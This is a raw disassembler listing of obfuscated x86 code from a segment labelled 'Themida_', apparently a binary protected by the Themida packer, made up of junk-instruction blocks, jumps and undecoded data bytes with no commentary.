		dd 9C9F28Fh, 54B9E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D85A:				; CODE XREF: Themida_:0055D740j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_5646EA
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4C181h, 3EE90000h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D87F:				; CODE XREF: Themida_:005554BBj
		mov	[esp], eax
		mov	eax, esp
		push	2CD7h
		jmp	loc_5580F6
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0F781D787h, 0B8FFFBDDh, 0B35E981h, 0C181248Eh, 266E100Ch
		dd 0E981F901h, 266E100Ch, 0B35C181h, 7EE9248Eh,	0BE000029h
		dd 25F756A8h, 0BD23E950h, 295AFFFFh, 604C2DC8h,	0C8B1C9Ah
		dd 4C48124h, 48000000h,	1B35D0F7h, 0E93A7273h, 2533h, 3A92E981h
		dd 1581D8Dh, 0EE8159CEh, 59675617h, 578C681h, 0F8E92917h
		dd 59FFFFEFh, 0B7D1C781h, 0FE29DE42h, 7F4BE95Fh, 0F581FFFFh
		dd 51E60720h, 0EDC1D5F7h, 0D2E58104h, 0C113C32Fh, 0ED8108EDh
		dd 0FB0C6FE1h, 685DEB01h, 6E99h, 0B9240C89h, 59D57207h
		dd 61F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D939:				; CODE XREF: Themida_:005639B6j
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jnz	loc_552D8B
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 7DC21466h
		jmp	loc_55A93A
; ---------------------------------------------------------------------------


loc_55D961:				; CODE XREF: Themida_:0055F553j
		xor	edi, 53830BC2h
		sub	edi, 249D7F40h
		and	edi, 6A066488h
		push	edx
		mov	edx, 660860C4h
		neg	edx
		dec	edx
		jmp	loc_563699
; ---------------------------------------------------------------------------
		db 5Ch,	57h, 0E9h
		dd 0FFFFBF25h, 68241489h, 4FAE5CF5h, 2C2815Ah, 81428A36h
		dd 1EAh, 3D685700h, 8B15EB0Bh, 2BE9243Ch, 89FFFFE1h, 4C681E6h
		dd 0E9000000h, 0FFFFF0FBh, 8B04C483h, 0A1E92414h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D9C3:				; CODE XREF: Themida_:0055CFEEj
		xor	ebp, [esp]
		jmp	loc_5580E9
; ---------------------------------------------------------------------------
		db 5Ah
		dd 9168D801h, 89000042h, 0E950242Ch, 0FFFF6472h, 80C1CE80h
		dd 0DEF651CEh, 8002EEC0h, 0C68065CEh, 8BF50066h, 0C4832414h
		dd 59EE3004h, 5A66F030h, 0E9E28952h, 0FFFF8210h
; ---------------------------------------------------------------------------


loc_55DA04:				; CODE XREF: Themida_:0055EB7Aj
		pop	ebx
		not	ebp
		xor	ebp, 0EEE4D088h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_55AA03
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 5C240C33h, 8B24048Fh, 0F662424h, 9C2404BBh, 0FF2DC1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DA2D:				; CODE XREF: Themida_:0056480Cj
		neg	ah
		neg	ah
		jmp	loc_551CB9
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 0B7536650h, 0C2DBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DA46:				; CODE XREF: Themida_:00557EF9j
		mov	cx, [esp]
		jmp	loc_558B69
; ---------------------------------------------------------------------------
		db 81h
		dd 381373EDh, 51C52906h, 381373B9h, 59CD0106h, 8FC58158h
		dd 5B4FF46Ch, 8B242C87h, 0D3662424h, 0E99C2404h, 0FFFF2D76h
		dd 0FF33558h, 66E96052h, 5C000053h, 0E9243C8Bh,	0FFFF50CBh
		dd 0C789D089h, 0E924048Bh, 0FFFF9CCFh, 0C781E789h, 4, 0FFAED5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DAA5:				; CODE XREF: Themida_:0055C9B9j
		pop	ecx
		push	cx
		mov	cl, 18h
		add	al, cl
		mov	cx, [esp]
		add	esp, 2
		add	al, bl
		push	ecx
		mov	ch, 18h
		jmp	loc_556717
; ---------------------------------------------------------------------------
		db 5, 84h, 0AEh
		dd 0C28957E2h, 0FFE597E9h, 8BF329FFh, 0C4812434h, 4, 0E951CB01h
		dd 0FFFFA45Ah, 0B4240489h, 80DCF698h, 0C4FEC7F4h, 281CF480h
		dd 24048BE3h, 4C481h, 0C3800000h, 73F2E93Ch, 0E7C10000h
		dd 0DBCF8103h, 811D3D13h, 3F3FFFF7h, 0FFFE019Dh, 34E92434h
		dd 31000069h, 8B04244Ch, 0C483240Ch, 40478F04h,	32F768h
		dd 24048900h, 0FF4495E9h, 58E268FFh, 0F75E1A3Fh, 0BEE81D6h
		dd 0E97EDE23h, 1267h, 89241C89h, 4C381E3h
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55253C
; ---------------------------------------------------------------------------
		db 52h
		dd 4BAh, 5AD38900h, 60AAED81h, 0FFE93642h, 68000037h, 2F8Bh
		dd 0E9240C89h, 0FFFF5866h, 0B60FC330h, 310A68C0h, 0C890000h
		dd 5136E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DB8A:				; CODE XREF: Themida_:00552C9Dj
		pop	ebx
		push	1EF5h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	1E97h
		mov	[esp], ecx
		pop	dword ptr [eax]
		jmp	loc_5507EE
; ---------------------------------------------------------------------------
		db 51h
		dd 8A2011B9h, 20C9816Dh, 812A9E60h, 1E9h, 5E9C100h, 10E95150h
		dd 5A00001Fh, 2868B353h, 0A5E95BD9h, 31000029h,	243C8BFAh
		dd 8104C483h, 0B42B24F2h, 185A6820h, 0C890000h,	5D85B924h
		dd 0CA297A0Ch, 81240C8Bh, 4C4h,	3A95E900h, 0C800FFFFh
		dd 2C591004h, 52D8286Ah, 0E2C08CB2h, 0F6EA8003h, 0D000572Ch
		dd 148B5704h, 795E924h,	83590000h, 2C8904ECh, 81E58924h
		dd 4C5h, 4C58100h, 0E9000000h, 0FFFFDF47h, 4EEA8166h, 664A6669h
		dd 0ABBB6653h, 0EA816635h, 166261Eh, 0C28166DAh, 37E9261Eh
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DC57:				; CODE XREF: Themida_:00557C74j
		or	eax, eax
		jz	loc_55FA96
		push	dword ptr [edi+1Ch]
		push	ebp
		push	ecx
		mov	ecx, 27CC2EF1h
		mov	ebp, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_5557E9
; ---------------------------------------------------------------------------
		dw 9BBAh
		dd 813BB266h, 916BE7F2h, 1A2AE902h, 50590000h, 4EC81h
		dd 2C890000h, 1F06BD24h, 814D3850h, 1433CCF5h, 5DE88913h
		dd 8E92E950h, 0C281FFFFh, 4, 4EA81h, 7EE90000h,	8B00000Fh
		dd 0C483243Ch, 115BE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DCC2:				; CODE XREF: Themida_:00550AE4j
		mov	bh, 61h
		mov	ch, bh
		jmp	loc_55EE43
; ---------------------------------------------------------------------------
		db 81h
		dd 0ADF36CEFh, 0E9FD892Ah, 10D9h, 4BFh,	246C8100h, 0BA64CE04h
		dd 247C0141h, 4EC8104h,	0E9000000h, 76C7h, 6328822Dh, 241C8B44h
		dd 4BF5E956h, 0F3810000h, 3FC55313h, 815BDD89h,	0AE6DBBC2h
		dd 0B2C2815Ch, 176A838h, 1A73E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DD1E:				; CODE XREF: Themida_:00555ACEj
		add	ebx, ebp
		pop	ebp
		jmp	loc_5513BB
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 0F371306h, 0DBF7D3F7h, 0E3C1DBF7h, 4C38108h,	1371307h
		dd 1B63E9D8h, 0EE810000h, 4, 5C243487h,	56242C89h, 0FF9E69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DD55:				; CODE XREF: Themida_:005543DDj
		add	edx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5507EE
; ---------------------------------------------------------------------------
		db 55h
		dd 0F53A19BDh, 0E876E937h, 0FB29FFFFh, 5F2434FFh, 4C481h
		dd 95E90000h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DD7F:				; CODE XREF: Themida_:005591CFj
		add	eax, edx
		add	eax, 27063335h
		push	ebp
		mov	ebp, 4C37256Bh
		sub	eax, ebp
		pop	ebp
		sub	eax, 74D01BD1h
		push	dword ptr [esp]
		pop	edx
		push	3E93h
		jmp	loc_550877
; ---------------------------------------------------------------------------


loc_55DDA2:				; CODE XREF: Themida_:00564C4Dj
		push	edx
		mov	edx, 4F2830ADh
		jmp	loc_5603AD
; ---------------------------------------------------------------------------


loc_55DDAD:				; CODE XREF: Themida_:00550BD3j
		mov	[esp], ebx
		push	6572h
		mov	[esp], eax
		push	esp
		pop	eax
		push	979h
		mov	[esp], esi
		mov	esi, 32315567h
		add	esi, 0CDCEAA9Dh
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_551ADF
; ---------------------------------------------------------------------------
		db 33h
		dd 248B2434h, 0C8B6624h, 0D636824h, 34890000h, 34226824h
		dd 24890000h, 24048124h, 4, 5324348Bh, 0C381E389h, 4, 3AA5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DE09:				; CODE XREF: Themida_:00561738j
		mov	esi, 4
		sub	edi, esi
		jmp	loc_5605CC
; ---------------------------------------------------------------------------
		db 29h,	1Ch, 24h
		dd 5EBC15Bh, 68h, 241C2900h, 0EAC3815Bh, 0E961EB03h, 4203h
		dd 6116E959h, 7C01FFFFh, 3C8B0424h, 4C48124h, 0FF000000h
		dd 48B2434h, 0C0E95224h, 0FFFFFFE8h, 0E9042474h, 0FFFF6F2Ch
; ---------------------------------------------------------------------------


loc_55DE58:				; CODE XREF: Themida_:00556429j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55A759
; ---------------------------------------------------------------------------
		db 5Ch
		dd 6604C681h, 0E95273D5h, 0FFFFEE4Ch
; ---------------------------------------------------------------------------


loc_55DE70:				; CODE XREF: Themida_:00561E90j
		xchg	ecx, [esp]
		pop	esp
		xor	eax, ebx
		xor	ebx, eax
		jmp	loc_55AF88
; ---------------------------------------------------------------------------
		db 1, 0CBh, 0E9h
		dd 0FFFF5302h
; ---------------------------------------------------------------------------


loc_55DE84:				; CODE XREF: Themida_:00557F66j
		mov	ebp, [esp]
		jmp	loc_55E9D4
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 815F0000h, 4C7h, 4C78100h, 0E9000000h
		dd 0FFFF71F9h, 46F4ED81h, 0F5812E58h, 7537FEC0h, 3082EB81h
		dd 0AAE9207Ch
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DEBF:				; CODE XREF: Themida_:0055E857j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		push	ebx
		mov	ebx, 7FED7D03h
		mov	esi, 7FED7D07h
		add	esi, 7DBB75C2h
		sub	esi, ebx
		sub	esi, 7DBB75C2h
		pop	ebx
		sub	ebp, 44430337h
		add	ebp, esi
		add	ebp, 44430337h
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_551BBB
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF28EEh
; ---------------------------------------------------------------------------


loc_55DF00:				; CODE XREF: Themida_:005615ECj
		sub	al, 0Ah
		add	al, cl
		push	ebx
		mov	bl, 0C4h
		sub	bl, 9Ah
		shl	bl, 8
		push	edx
		mov	dl, 1Ah
		push	ebx
		mov	bl, 6Fh
		and	dl, bl
		pop	ebx
		jmp	loc_56256E
; ---------------------------------------------------------------------------
		db 5
		dd 48DC0011h, 0FFCD4CE9h, 241C89FFh, 0E7895751h, 4C781h
		dd 0EF830000h, 243C8704h, 2434895Ch, 7A4525BEh,	0FFF18968h
		dd 815E2434h, 4C4h, 0E1814100h,	37682EE7h, 1C181h, 3B680000h
		dd 89000074h, 29682434h, 0E9206803h, 3980h
; ---------------------------------------------------------------------------


loc_55DF6C:				; CODE XREF: Themida_:00564492j
		xor	esi, 792634D1h
		push	edi
		mov	edi, 3C7E10C3h
		shl	edi, 1
		jmp	loc_55ECA8
; ---------------------------------------------------------------------------
		db 29h
		dd 0D7BEE9D9h, 7C01FFFFh, 13E90C24h, 55000013h,	4BDh, 5DEE2900h
		dd 0FF845AE9h, 81E689FFh, 4C6h,	4BA5200h, 81000000h, 0EA6926EEh
		dd 81D62947h, 0EA6926C6h, 34875A47h, 0C895C24h,	212BB924h
		dd 4CE90B97h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DFCB:				; CODE XREF: Themida_:00554D0Dj
		add	esi, ebx
		sub	esi, 5C664449h
		jmp	loc_55DFEE
; ---------------------------------------------------------------------------


loc_55DFD8:				; CODE XREF: Themida_:00550C56j
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebx
		jmp	loc_557218
; ---------------------------------------------------------------------------


loc_55DFEE:				; CODE XREF: Themida_:0055DFD3j
		mov	ebx, [esp]
		add	esp, 4
		add	eax, esi
		pop	esi
		add	edi, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55E65E
; ---------------------------------------------------------------------------
		dd 9167E95Ah, 0B951FFFFh, 74654670h, 366CE949h,	1C870000h
		dd 61685C24h, 8900003Dh, 4BA2414h, 81000000h, 0D6142C1h
		dd 1FEBE96Fh, 0FF520000h, 8B042474h, 0C4812414h, 4, 8B24048Fh
		dd 4D32424h, 0CE99C24h,	5500006Fh, 4FF2BD66h, 8E4BB66h
		dd 0E9EB3166h, 0FFFF6927h
; ---------------------------------------------------------------------------


loc_55E060:				; CODE XREF: Themida_:00563FE2j
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_553E40
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0B0h
		dd 0E95C626Bh, 0FFFF3042h, 51CCE957h, 0EDB7FFFFh, 5BF800h
		dd 307C68D8h, 14890000h, 81EDB624h, 4ECh, 241C8900h, 87E9E9B3h
		dd 81FFFF8Ah, 4ECh, 48F5400h, 4BB5324h,	1000000h, 0FF04245Ch
		dd 815B2434h, 4C4h, 242C8B00h, 5604C483h, 400E76BEh, 7521E93Ch
		dd 51660000h, 2718E99Ch, 0DE89FFFFh, 77EE95Bh, 0C890000h
		dd 4948B924h, 0E1C11485h, 45BA5204h, 9346230h, 0D9F75AD1h
		dd 4B3FF181h, 0CD018389h, 0FF3ED6E9h, 0E9595FFFh, 2ABBh
		dd 6641C480h, 30DCB652h, 3DEDE9F4h, 0E945FFFFh,	0FFFF331Bh
		dd 1E6B992Dh, 68470517h, 0F9E95645h, 66FFFFF6h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55B2B5
; ---------------------------------------------------------------------------
		db 0BAh
		dd 3B535488h, 4FBABB53h, 0FBE90CE0h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E147:				; CODE XREF: Themida_:0055F8D9j
		pop	ebx
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5535B8
; ---------------------------------------------------------------------------
		dd 54B3C281h, 0C281436Eh, 0DA976623h, 30E9D601h, 66000048h
		dd 4727E781h, 5BC78166h, 3FFCE9ACh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E17A:				; CODE XREF: Themida_:0055240Cj
		pop	eax
		push	edi
		jmp	loc_55A8B4
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aVichj		db '$Vh{',0
		dd 24148900h, 33268DBAh, 6E2C172h, 41FFE9h, 0F7B85000h
		dd 0F77FE111h, 0FFFF05D8h, 5505FFFFh, 9537CB14h, 2595D5F7h
		dd 37882132h, 0FFFD5EE9h, 5FFB01FFh, 1BDFEF81h,	0C78140A7h
		dd 296F4462h, 0EF81DF01h, 296F4462h, 1BDFC781h,	34FF40A7h
		dd 0E9535B24h, 0FFFF27C1h, 7800F12Dh, 73656856h, 34890000h
		dd 40296824h, 14890000h, 0A1C6824h, 3C890000h, 5A85BF24h
		dd 0EC8121B8h, 4, 0E9243C89h, 1D90h, 0E939EF80h, 0FFFF6EC8h
		dd 81664B66h, 0E90001EBh, 0FFFF77FEh, 5C240433h, 0C8AF0F66h
		dd 0E99C5166h, 580Ch, 4BD55h, 0EB010000h, 74FF535Dh, 8F5B0424h
		dd 815C2404h, 4ECh, 24048900h, 5B1E9FB8h, 0A468E971h, 8147FFFFh
		dd 8F3A0CF7h, 5FF8294Bh, 1A79E95Dh, 34FF0000h, 0C4835B24h
		dd 2434FF04h, 6744E9h, 24048900h, 9DE95053h
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E287:				; CODE XREF: Themida_:00551205j
		mov	[esp], ecx
		jmp	loc_556707
; ---------------------------------------------------------------------------
		db 0B8h
		dd 2, 548ABE56h, 0C1814E73h, 250E098Dh,	1F35E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E2A5:				; CODE XREF: Themida_:00553278j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55CA00
; ---------------------------------------------------------------------------
		dw 0EAC1h
		dd 0F2814A02h, 3D1F080Bh, 3F2AC281h, 0D7314FCDh, 4820E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E2CE:				; CODE XREF: Themida_:00554533j
		sub	ebx, 4C5A027Bh
		pop	edx
		push	7E48h
		jmp	loc_55C5A6
; ---------------------------------------------------------------------------


loc_55E2DF:				; CODE XREF: Themida_:005614D7j
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		mov	[esp], ebp
		push	1581h
		mov	[esp], ebx
		jmp	loc_55A290
; ---------------------------------------------------------------------------
		dw 0FF53h
		dd 8B042474h, 28E9241Ch
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E307:				; CODE XREF: Themida_:00557B68j
		sub	edi, ebp
		pop	ebp
		add	eax, 1CC8109Ch
		add	eax, 3E0130A3h
		jmp	loc_561583
; ---------------------------------------------------------------------------


loc_55E319:				; CODE XREF: Themida_:00559E11j
		xor	edx, ebp
		jmp	loc_55BAD0
; ---------------------------------------------------------------------------
		dd 0E6C05B66h, 0E9CEFE03h, 0FFFFB8FCh
; ---------------------------------------------------------------------------


loc_55E32C:				; CODE XREF: Themida_:0055ECA3j
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_55846E
; ---------------------------------------------------------------------------
		dw 0FF5Eh
		dd 505B2434h, 7751E954h, 4AB1FFFFh, 5758C128h, 5055E789h
		dd 977065B8h, 58C5893Fh, 0F66F581h, 0BE91EA9h, 0C0FFFFBEh
		dd 0C18008E1h, 59CB009Fh, 686DE9h, 6CDD2D00h, 515E1933h
		dd 7970C4B9h, 1C1835Bh,	58CE68h, 24148900h, 4EC81h, 0C890000h
		dd 70C1B924h, 45E95B79h, 0B8FFFF89h, 4,	1A23C781h, 0C5E97667h
		dd 5A000052h, 5004C483h, 0B3E9E089h, 83FFFF25h,	24E904C4h
		dd 5EFFFF5Eh, 0B4E9D6F7h, 59000061h, 8887F380h,	505B66D9h
		dd 0F480FDB4h, 58E108DBh, 667BC180h, 6608F668h,	0E9240489h
		dd 0FFFF4B23h, 835DE801h, 43304C0h, 24043124h, 8B240433h
		dd 96E92424h, 81FFFFADh, 4C4h, 0E9008F00h, 0FFFFA5EEh
		dd 0AF35E95Fh, 2489FFFFh, 4B85024h, 1000000h, 58042444h
		dd 4C7815Fh, 52000000h,	0EB3AE956h, 1489FFFFh, 24048124h
		dd 16131E1Bh, 0E9243C8Bh, 0FFFF8472h, 240C8B66h, 0E9E28952h
		dd 0FFFF52E5h, 6DA3E981h, 0E9817AD0h, 31C409DFh, 8324348Bh
		dd 815104C4h, 78322434h, 34FF5316h, 2434FF24h, 4C4835Bh
		dd 8104C483h, 167832F3h, 5F215953h, 3AE95B1Ch, 81FFFFDCh
		dd 81206F3h, 5BDD0107h,	31242C33h, 30E9242Ch, 35FFFFBAh
		dd 8ABE52DDh, 62E9C531h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E49F:				; CODE XREF: Themida_:00560D14j
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_554B74
; ---------------------------------------------------------------------------
		dd 3C8BFB21h, 0E0895024h, 405h,	0A8F3E900h, 0E95FFFFFh
		dd 0FFFFBA66h, 0B84F762Dh, 0EE22D68h, 0D8016DDDh, 0DD0EE205h
		dd 4F76056Dh, 1C8B68B8h, 4C48324h, 0FF4C46E9h, 243C33FFh
		dd 5E243C31h, 0FFD253E9h, 241489FFh, 0FF22E9E9h, 4C483FFh
		dd 8B243487h, 93E92424h, 8900001Dh, 0E9B02404h,	2CA3E9h
		dd 0BA525900h, 39141A11h, 0E5F3C281h, 0D101C6EBh, 0E34EE95Ah
		dd 0C629FFFFh, 325EE957h, 4810000h, 424h, 14E95E00h, 0B3FFFF53h
		dd 0DCB27Eh, 0DAF65BDAh, 0FFDADCE9h, 81DDF7FFh,	0F81952F5h
		dd 0B6F58164h, 1E1DAE3h, 8EE95DE9h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E56B:				; CODE XREF: Themida_:0055136Bj
		inc	ecx
		dec	ecx
		not	ecx
		neg	ecx
		sub	ecx, 0B2063BAFh
		jmp	loc_55CAA0
; ---------------------------------------------------------------------------
		dd 4B3F280h, 2CD0284Ah,	92F1E94Ah, 1C8BFFFFh, 4C48324h
		dd 7DFFF581h, 0EA8157FFh, 14A43643h, 0FF27FFE9h, 0C7EB81FFh
		dd 4B2A1F64h, 0E905E3C1h, 0FFFFA673h
; ---------------------------------------------------------------------------


loc_55E5B0:				; CODE XREF: Themida_:00563658j
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_55981F
; ---------------------------------------------------------------------------
		dw 5268h
		dd 0E9125D3Dh, 1342h, 0C781DFF7h, 1B80E6AAh, 68B1E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E5E2:				; CODE XREF: Themida_:00553D72j
		mov	edi, 516C24B1h
		add	edi, 74D482Bh
		shr	edi, 2
		jmp	loc_554D6D
; ---------------------------------------------------------------------------


loc_55E5F5:				; CODE XREF: Themida_:0055FE07j
		push	eax
		mov	eax, 623D766Ah
		not	eax
		xchg	eax, ebp
		jmp	loc_55518A
; ---------------------------------------------------------------------------
		db 53h
		dd 0D988F388h, 0F5B9E95Bh, 4BBEFFFFh, 158FD40h,	0D3E95EF0h
		dd 81FFFF21h, 4C4h, 5DFFE900h, 0EE810000h, 6551613Dh, 0AD1BE958h
		dd 55FFFFFh, 58E744D8h,	0FFD3FBE9h, 4EC81FFh, 0E9000000h
		dd 0FFFF2978h, 0D102E2C1h, 0D0CA81EAh, 814F4F03h, 0EE58A1C2h
		dd 98F5E993h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E65E:				; CODE XREF: Themida_:0055DFFFj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55219A
; ---------------------------------------------------------------------------
		db 80h
		dd 0EA207EF5h, 57240C8Bh, 0E956E789h, 0FFFFED5Bh, 4C4815Dh
		dd 68000000h, 5652h, 55241489h,	3114DBDh, 3C5EBA38h, 0EA312762h
		dd 81242C8Bh, 4C4h, 94CA8100h, 0F767F073h, 4E2C1D2h, 0B850534Ah
		dd 5F7F67A3h, 2B53FBBh,	6033E90Fh, 8B66FFFFh, 1FE92414h
		dd 5CFFFFB7h, 41E2E9h, 25242D00h, 0D0016677h, 77252405h
		dd 0F2E5E966h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E6E6:				; CODE XREF: Themida_:005656D8j
		pop	esp
		jmp	loc_55865B
; ---------------------------------------------------------------------------
		dd 49DCC381h, 0F0E943BAh, 0BE000044h, 5A3603BCh, 405EF089h
		dd 1188BA52h, 0EA817950h, 17A3AD7Ch, 148BD029h,	0E330E924h
		dd 8956FFFFh, 83E2E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E71E:				; CODE XREF: Themida_:00556EBBj
		xchg	bl, dh
		add	dh, 81h
		jmp	loc_555020
; ---------------------------------------------------------------------------
		dd 8704EF83h, 895C243Ch, 3FB22414h, 0F63CE280h,	51D2F6D2h
		dd 88CCB050h, 3F68E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E746:				; CODE XREF: Themida_:00558BC8j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 1BFC730Dh
		add	edi, ecx
		pop	ecx
		not	edi
		add	edi, 35AC62BAh
		xor	ecx, edi
		pop	edi
		push	edi
		push	esi
		mov	esi, 79825A5h
		mov	edi, 0F867DADBh
		jmp	loc_55AA2B
; ---------------------------------------------------------------------------
		db 1
aS_7		db '{',7,0
		align 2
		dw 0BA52h
		dd 4, 4245401h,	0FF5E90E9h, 0F6D3F6FFh,	7AC380DBh, 0FCE9D828h
		dd 0F7000047h, 0EFC381DBh, 290DA615h, 1B66E9D8h, 0C1590000h
		dd 814106E9h, 2C70AEE9h, 8FE9815Ah, 8957F21Dh, 0E78159CFh
		dd 5F813C68h, 3D27E781h, 0D7874758h, 0FFF0B9E9h, 5EF529FFh
		dd 5205EDC1h, 0C6307ABAh, 1CC2813Dh, 8148EE03h,	0E85717CAh
		dd 0E9DAF723h, 2EC1h, 4EE81h, 34330000h, 24343124h, 0E9243433h
		dd 0FFFF36A4h
; ---------------------------------------------------------------------------


loc_55E808:				; CODE XREF: Themida_:0055924Bj
		mov	[esp], ecx
		jmp	loc_554201
; ---------------------------------------------------------------------------
		dd 3621F635h, 0A6BD5506h, 816B371Dh, 195A37F5h,	0B4CD8121h
		dd 0F7520B07h, 4EC83D5h, 0BF243C89h, 0AE81E8E4h, 0E95FFD31h
		dd 0FFFF6CADh, 2AC78166h, 5CA3E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E846:				; CODE XREF: Themida_:0055641Cj
		sub	ecx, 1BC33836h
		add	ecx, edi
		add	ecx, 1BC33836h
		mov	edi, [esp]
		jmp	loc_55DEBF
; ---------------------------------------------------------------------------
		dd 34FFF021h, 5618E924h, 6AB80000h, 531B932Eh, 1745FFBBh
		dd 84C38169h, 310AAF1Dh, 0C5015BD8h, 5AB6E958h,	0E95B0000h
		dd 0FFFF2F6Ch
; ---------------------------------------------------------------------------


loc_55E888:				; CODE XREF: Themida_:005515B3j
		push	esi
		mov	esi, 9702AE7h
		jmp	loc_55233A
; ---------------------------------------------------------------------------
		db 89h
		dd 240C8BCEh, 584368h, 241C8900h, 0C381E389h, 4, 4C381h
		dd 0FF530000h, 5B042474h, 0FFEEDEE9h, 1F9ABEFFh, 0D6F70477h
		dd 0FF3133E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E8C5:				; CODE XREF: Themida_:00563309j
		mov	ebp, ecx
		jmp	loc_55B8BE
; ---------------------------------------------------------------------------


loc_55E8CC:				; CODE XREF: Themida_:0055C0F1j
		sub	edi, 0CECA0F90h
		add	esi, edi
		pop	edi
		add	eax, esi
		jmp	loc_55FB2B
; ---------------------------------------------------------------------------
		dd 815BDD01h, 8973BFEDh, 3E28E928h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E8EA:				; CODE XREF: Themida_:0055E9E1j
		add	edi, ebp
		mov	ebp, [esp]
		push	ebx
		jmp	loc_55377F
; ---------------------------------------------------------------------------
		db 59h,	1, 0FBh
		dd 71D7C381h, 34FF4696h, 0C4835F24h, 699C6804h,	3C890000h
		dd 4EC8324h, 0BA241489h, 2, 148B5F52h, 4C48124h, 81000000h
		dd 0D37720EBh, 0E9FB013Fh, 0FFFF8ED2h, 33241431h, 815C2414h
		dd 4ECh, 24148900h, 0FFF331E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E945:				; CODE XREF: Themida_:0055EB19j
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], cx
		mov	cl, 34h
		xor	al, cl
		mov	cx, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	264Eh
		mov	[esp], ecx
		jmp	loc_56308E
; ---------------------------------------------------------------------------
aLSi		db '$$:',0
		align 2
aHrf		db '[hRf',0
		align 4
		dd 0B2241489h, 0ADE951FAh, 8100005Eh, 0AB65ACF7h, 0BBEF8159h
		dd 5778EA3Fh, 1729E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E999:				; CODE XREF: Themida_:005507EFj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5615E7
; ---------------------------------------------------------------------------
		dw 0E95Ah
